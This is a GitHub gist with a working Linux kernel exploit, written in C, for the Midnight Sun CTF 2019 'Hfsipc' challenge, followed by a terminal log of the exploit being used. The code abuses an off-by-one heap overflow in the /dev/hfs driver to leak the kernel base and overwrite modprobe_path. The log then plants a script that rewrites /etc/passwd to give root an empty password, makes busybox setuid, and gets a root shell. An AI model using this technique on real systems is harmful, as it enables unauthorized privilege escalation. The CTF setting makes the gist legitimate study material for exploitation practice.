Skip to content

Instantly share code, notes, and snippets.

@hama7230
Created April 6, 2019 16:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hama7230/9c0f5f06a042f13cbb7361410861f343 to your computer and use it in GitHub Desktop.
Save hama7230/9c0f5f06a042f13cbb7361410861f343 to your computer and use it in GitHub Desktop.
Midnight Sun CTF 2019 Quals Hfsipc
// gcc -static -nostdlib -masm=intel ./exp.c -o exp
#define BUFSIZE 32
#define O_RDWR 00000002
int fd;
unsigned long kernel_base;
unsigned long fake_chunk[BUFSIZE/8];
int read(int fd, char* buf, int len) {
__asm__("mov rax, 0");
__asm__("syscall");
}
int write(int fd, char* buf, int len) {
__asm__("mov rax, 1");
__asm__("syscall");
}
int open(char* filename, int flags) {
__asm__("mov rax, 2");
__asm__("syscall");
}
int close(int fd) {
__asm__("mov rax, 2");
__asm__("syscall");
}
void exit(int status) {
__asm__("mov rax, 60");
__asm__("syscall");
}
int ioctl(unsigned int fd, unsigned int cmd, unsigned long* arg) {
__asm__("mov rax, 16");
__asm__("syscall");
}
int strlen(char* string) {
int len = 0;
for (; *(string++) != '\x00'; len++) {}
return len;
}
void puts(char* string) {
int len = strlen(string);
write(1, string, len);
}
void memset(char* a, char b, int len) {
int i;
for (i=0; i<len; i++) {
a[i] = b;
}
}
long ipc_create(long key, long size) {
long buf[2];
buf[0] = key;
buf[1] = size;
if (ioctl(fd, 0xABCD0001, buf) < 0) {
puts("failed ipc_create");
exit(3);
}
return 0;
}
long ipc_read(long key, char* ptr, long size) {
long buf[3];
int result;
buf[0] = key;
buf[1] = size;
buf[2] = (long)ptr;
if ((result = ioctl(fd, 0xABCD0003, buf)) < 0) {
puts("failed ipc_read");
// printf("%d\n", result);
exit(3);
}
return 0;
}
long ipc_delete(long key) {
long buf[2];
int result;
buf[0] = key;
if ((result = ioctl(fd, 0xABCD0002, buf)) < 0) {
puts("failed ipc_delete");
// printf("%d\n", result);
exit(3);
}
return 0;
}
long ipc_write(long key, char* ptr, long size) {
long buf[3];
int result;
buf[0] = key;
buf[1] = size;
buf[2] = (long)ptr;
if ((result = ioctl(fd, 0xABCD0004, buf)) < 0) {
puts("failed ipc_write");
// printf("%d\n", result);
exit(3);
}
return 0;
}
void _start(void) {
puts("open /dev/hfs");
fd = open("/dev/hfs", O_RDWR);
if (fd < 0)
exit(2);
puts("trying leak kernel address");
unsigned long buf[BUFSIZE/0x8 + 1];
for (int i=0xdead; i<0xdead+0x180; i++) {
ipc_create(i, BUFSIZE);
}
memset((char*)buf, 'A', BUFSIZE); ipc_write(0xdead+0x180-0x10, (char*)buf, BUFSIZE);
memset((char*)buf, 'A', BUFSIZE); ipc_write(0xdead+0x180-0xf, (char*)buf, BUFSIZE);
memset((char*)buf, 'A', BUFSIZE); ipc_write(0xdead+0x180-0xe, (char*)buf, BUFSIZE);
memset((char*)buf, 'A', BUFSIZE); ipc_write(0xdead+0x180-0xd, (char*)buf, BUFSIZE);
buf[2] = (unsigned long)&fake_chunk;
ipc_write(0xdead+0x180-0xe, (char*)buf, BUFSIZE);
memset(buf, '\xa0', BUFSIZE+1);
ipc_delete(0xdead+0x180-0xe);
ipc_delete(0xdead+0x180-0xf);
ipc_write(0xdead+0x180-0x10, buf, BUFSIZE+1);
for (int i=0; i<0x100; i++)
ipc_create(i, 0x100);
long key = fake_chunk[0];
// printf("heap_addr = 0x%lx\n", fake_chunk[1]);
fake_chunk[2]= 0x1000;
unsigned long tmp[0x1000/8];
ipc_read(key, (char*)tmp, 0x1000);
for (int i=0; i<0x1000/8; i++) {
if (tmp[i] > 0xffffffff81000000) {
// 0xffffffff818151c0
if (0x1c0 == (tmp[i]&0xfff)) {
kernel_base = tmp[i] - 0x8151c0;
break;
}
// 0xffffffff810ba1d0
if (0x1d0 == (tmp[i]&0xfff)) {
kernel_base = tmp[i] - 0xba1d0;
break;
}
}
}
// printf("kernel_base = 0x%lx\n", kernel_base);
fake_chunk[1] = kernel_base + 0xa3f7a0;
fake_chunk[2] = 0x20;
puts("trigger");
ipc_write(key, "/home/user/a", 0x20);
while (1) {};
close(fd);
}
user@hfs:~$ base64 -d a | gzip -d > exp && chmod +x exp
base64 -d a | gzip -d > exp && chmod +x exp
user@hfs:~$ ./exp &
./exp &
user@hfs:~$ open /dev/hfstrying leak kernel addresstrigger
user@hfs:~$ cat /proc/sys/kernel/modprobe
cat /proc/sys/kernel/modprobe
/home/user/a
user@hfs:~$ echo -ne '\xff\xff\xff\xff' > /home/user/hoge && chmod +x /home/user/hoge
echo -ne '\xff\xff\xff\xff' > /home/user/hoge && chmod +x /h
ome/user/hoge
user@hfs:~$ echo -ne "#!/bin/sh\n/bin/chmod -R 4777 /etc/passwd /bin/busybox\necho 'root::0:0:root:/root:/bin/sh' > /etc/passwd\n" > /home/user/a && chmod +x /home/user/a
echo -ne "#!/bin/sh\n/bin/chmod -R 4777 /etc/passwd /bin/bus
ybox\necho 'root::0:0:root:/root:/bin/sh' > /etc/passwd\n" > /home/user/a && chm
od +x /home/user/a
user@hfs:~$ /home/user/hoge
/home/user/hoge
/home/user/hoge: line 1: : not found
user@hfs:/home/user$ su root
su root
root@hfs:/home/user$ id
id
uid=0(root) gid=0(root) groups=0(root)
root@hfs:/home/user$ cat /root/flag
cat /root/flag
midnight{0fF_bY_0n}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment